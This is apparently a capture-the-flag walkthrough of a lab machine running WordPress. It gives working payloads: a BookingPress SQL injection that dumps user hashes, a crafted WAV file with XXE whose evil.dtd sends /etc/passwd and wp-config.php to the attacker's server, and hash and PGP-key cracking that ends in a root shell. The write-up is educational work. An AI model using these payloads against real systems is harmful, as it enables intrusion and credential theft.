Enumeration
Nmap
We start by running an nmap
scan on the most common 1000 ports using the flag -sV
to perform a service/version scan, and the -sC
flag to perform a script scan using the default set of scripts:
$ nmap -sV -sC 10.129.228.95
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-23 10:59 EST
Stats: 0:01:47 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 11:02 (0:00:54 remaining)
Nmap scan report for 10.129.228.95
Host is up (0.046s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
| 256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_ 256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 229.52 seconds
Port 21
$ ftp -p 10.129.228.95
Connected to 10.129.228.95.
220 ProFTPD Server (Debian) [::ffff:10.129.228.95]
Name (10.129.228.95:kali): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
ftp: Login failed
Credentials are needed to login.
Port 80
We add metapress.htb
to /etc/hosts to resolve the vhost address:
$ echo -e "10.129.228.95\tmetapress.htb" | sudo tee -a /etc/hosts
10.129.228.95 metapress.htb
$ whatweb http://metapress.htb
http://metapress.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.129.228.95], MetaGenerator[WordPress 5.6.2], PHP[8.0.24], PoweredBy[--], Script, Title[MetaPress – Official company site], UncommonHeaders[link], WordPress[5.6.2], X-Powered-By[PHP/8.0.24], nginx[1.18.0]
Here is a list of Wordpress 5.6.2 vulnerabilities.
At http://metapress.htb/events/
, we find booking service plugin. From the source code of this page we gather its name and version, BookingPress version 1.0.10.
Vulnerable Plugin
This version of BookingPress is vulnerable to an unauthenticated SQL Injection.
All we need to do now, is follow the the steps of the Proof of Concept provided.
nonce Exfiltration
view-source:http://metapress.htb/events/
:
<SNIP>
var postData = { action:'bookingpress_front_get_category_services',category_id: selected_cat_id,total_service: total_services,_wpnonce:'0d442aa771' };
<SNIP>
Here is our nonce: _wpnonce:'0d442aa771'
.
SQLi
As a reference, here is the Wordpress database schema:
$ curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0d442aa771&category_id=33&total_service=-7502) UNION ALL SELECT user_login,user_pass,3,4,5,6,7,8,9 from wp_users-- -'
<SNIP>
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
[{"bookingpress_service_id":"admin","bookingpress_category_id":"$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.","bookingpress_service_name":"3","bookingpress_service_price":"$4.00","bookingpress_service_duration_val":"5","bookingpress_service_duration_unit":"6","bookingpress_service_description":"7","bookingpress_service_position":"8","bookingpress_servicedate_created":"9","service_price_without_currency":4,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"},{"bookingpress_service_id":"manager","bookingpress_category_id":"$P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70","bookingpress_service_name":"3","bookingpress_service_price":"$4.00","bookingpress_service_duration_val":"5","bookingpress_service_duration_unit":"6","bookingpress_service_description":"7","bookingpress_service_position":"8","bookingpress_servicedate_created":"9","service_price_without_currency":4,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]
We save the the admin
password hash to the adminhash
file and we identify it with hashid
:
$ hashid adminhash
--File 'adminhash'--
Analyzing '$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash
--End of file 'adminhash'--
We do the same thing for the user manager
:
$ hashid managerhash
Analyzing '$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash
Password Cracking
We now attempt to crack the hashes with hashcat
using Hash mode 400 (PHPass):
$ hashcat -a 0 -m 400 adminhash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
Status...........: Exhausted
<SNIP>
We get nowhere with the admin
password hash, but we manage to crack the manager
one:
$ hashcat -a 0 -m 400 adminhash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
<SNIP>
Wordpress XXE vulnerability
As we have seen before, there are more than one vulnerability for the Wordpress version we are attacking, the one we are interested in is the one affecting PHP 8 (Authenticated XXE Within the Media Library Affecting PHP 8), which is the PHP version in use in the target machine.
Logging in with the manager
account gives us access to the Media Library thus giving us the possibility to exploit the vulnerability.
To exploit the vulnerability we can follow this useful blog post.
Crafting the Payload
First we start our web server:
$ php -S 10.10.14.90:1234
[Sat Nov 26 09:12:48 2022] PHP 8.1.12 Development Server (http://10.10.14.90:1234) started
then we create a malicious WAVE file containing the payload, and a dtd file needed to exfiltrate data from the remote host:
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.90:1234/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
$ cat evil.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.90:1234/?p%file;'>">
Uploading the paylod.wav file into the Wordpress Media Library will trigger the parsing of evil.dtd
on the target machine, which in this case, will send us back the content of /etc/passwd
encoded in base64 on our web server:
$ php -S 10.10.14.90:1234
[Sat Nov 26 09:12:48 2022] PHP 8.1.12 Development Server (http://10.10.14.90:1234) started
[Sat Nov 26 09:14:19 2022] 10.129.254.130:45722 Accepted
[Sat Nov 26 09:14:19 2022] 10.129.254.130:45722 [200]: GET /evil.dtd
[Sat Nov 26 09:14:19 2022] 10.129.254.130:45722 Closing
[Sat Nov 26 09:14:19 2022] 10.129.254.130:45734 Accepted
[Sat Nov 26 09:14:19 2022] 10.129.254.130:45734 [404]: GET /?pcm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9
<SNIP>
mluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= - No such file or directory
Once we decode the base64 string, we can read the content of /etc/passwd
:
$ echo 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9
<SNIP>
mluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo=' | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
Grabbing wp-config
Using the same procedure as above, we take a look at the wp-config.php
file, which contains Wordpress configuration details:
$ cat evil.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.90:1234/?p%file;'>">
[Sat Nov 26 09:56:57 2022] 10.129.254.130:54034 Accepted
[Sat Nov 26 09:56:57 2022] 10.129.254.130:54034 [404]: GET /?pPD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwg
<SNIP>
Cn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg== - No such file or directory
$ echo 'PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwg
<SNIP>
Cn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==' | base64 -d
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
<SNIP>
We have found FTP credentials: metapress.htb
:9NYS_ii@FyL_p5M2NvJ
.
FTP Login
With the newly found credentials, we manage to login to the FTP server:
$ ftp 10.129.254.130
Connected to 10.129.254.130.
220 ProFTPD Server (Debian) [::ffff:10.129.254.130]
Name (10.129.254.130:kali): metapress.htb
331 Password required for metapress.htb
Password: 9NYS_ii@FyL_p5M2NvJ
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Looking around we find jnelson
SSH credentials in the send_mail.php
file:
ftp> more mailer/send_mail.php
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
<SNIP>
Getting a Shell
Now, we can login as jnelson
:
$ ssh jnelson@10.129.254.130
jnelson@10.129.254.130's password: Cb4_JmWM8zUZWMu@Ys
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23
jnelson@meta2:~$
User Flag
We find the user flag in jnelson
’s home directory:
jnelson@meta2:~$ ls
user.txt
jnelson@meta2:~$ cat user.txt
5ff**************************2c2
Privilege Escalation
Taking a look around, we find the configuration folder of the Passpie password manager. Inside .passpie/ssh/root.pass
we find the root ssh password but it’s encrypted:
jnelson@meta2:~$ ls -la
total 32
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 12:53 .
drwxr-xr-x 3 root root 4096 Oct 5 15:12 ..
lrwxrwxrwx 1 root root 9 Jun 26 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson 220 Jun 26 15:46 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 15:46 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 12:51 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .passpie
-rw-r--r-- 1 jnelson jnelson 807 Jun 26 15:46 .profile
-rw-r----- 1 jnelson jnelson 33 Nov 26 13:32 user.txt
jnelson@meta2:~$ ls .passpie/ssh/
jnelson.pass root.pass
jnelson@meta2:~$ cat .passpie/ssh/root.pass
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: '-----BEGIN PGP MESSAGE-----
hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2
<SNIP>
=uh1B
-----END PGP MESSAGE-----
'
Inside .passpie/keys
we can find the GnuPG keys used to encrypt/decrypt the credentials from the Passpie database:
jnelson@meta2:~$ cat .passpie/.keys
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
<SNIP>
GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+Po3KGdNgA/04lhPjdN3wrzjU3qmrL
fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
<SNIP>
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----
Obtaining the Passpie Passphrase
Now, it’s time to crack the Passpie passphrase.
We first save the private key:
$ echo '-----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
<SNIP>
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----' > key
then we generate the hash from the private key using gpg2john
and after that we attempt to crack the hash with john
using the rockyou
wordlist:
$ gpg2john key > hash
File key
$ sudo john -w:/usr/share/wordlists/rockyou.txt hash
[sudo] password for kali:
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182 (Passpie)
1g 0:00:00:01 DONE (2022-11-26 10:50) 0.9090g/s 149.0p/s 149.0c/s 149.0C/s ginger..blink182
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Obtaining root Password
Now that we obtained the Passpie passphrase blink182
, we can use it to export the credentials in plain text:
jnelson@meta2:~/.passpie$ passpie --help
Usage: passpie [OPTIONS] COMMAND [ARGS]...
Options:
-D, --database TEXT Database path or url to remote repository
--autopull TEXT Autopull changes from remote pository
--autopush TEXT Autopush changes to remote pository
--config PATH Path to configuration file
-v, --verbose Activate verbose output
--version Show the version and exit.
--help Show this message and exit.
Commands:
add Add new credential to database
complete Generate completion scripts for shells
config Show current configuration for shell
copy Copy credential password to clipboard/stdout
export Export credentials in plain text
import Import credentials from path
init Initialize new passpie database
list Print credential as a table
log Shows passpie database changes history
purge Remove all credentials from database
remove Remove credential
reset Renew passpie database and re-encrypt...
search Search credentials by regular expressions
status Diagnose database for improvements
update Update credential
jnelson@meta2:~/.passpie$ passpie list
╒════════╤═════════╤════════════╤═══════════╕
│ Name │ Login │ Password │ Comment │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh │ jnelson │ ******** │ │
├────────┼─────────┼────────────┼───────────┤
│ ssh │ root │ ******** │ │
╘════════╧═════════╧════════════╧═══════════╛
jnelson@meta2:~$ passpie export passlist
Passphrase: blink182
jnelson@meta2:~$ cat passlist
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0
Now, to get a root shell, we can simply switch to user root
using the password p7qfAZt4_A1xo_0x
:
jnelson@meta2:~$ su
Password: p7qfAZt4_A1xo_0x
root@meta2:/home/jnelson# id
uid=0(root) gid=0(root) groups=0(root)
Root Flag
We can find the root flag in the root directory:
root@meta2:/home/jnelson# cd
root@meta2:~# ls
restore root.txt
root@meta2:~# cat root.txt
7f2**************************0e6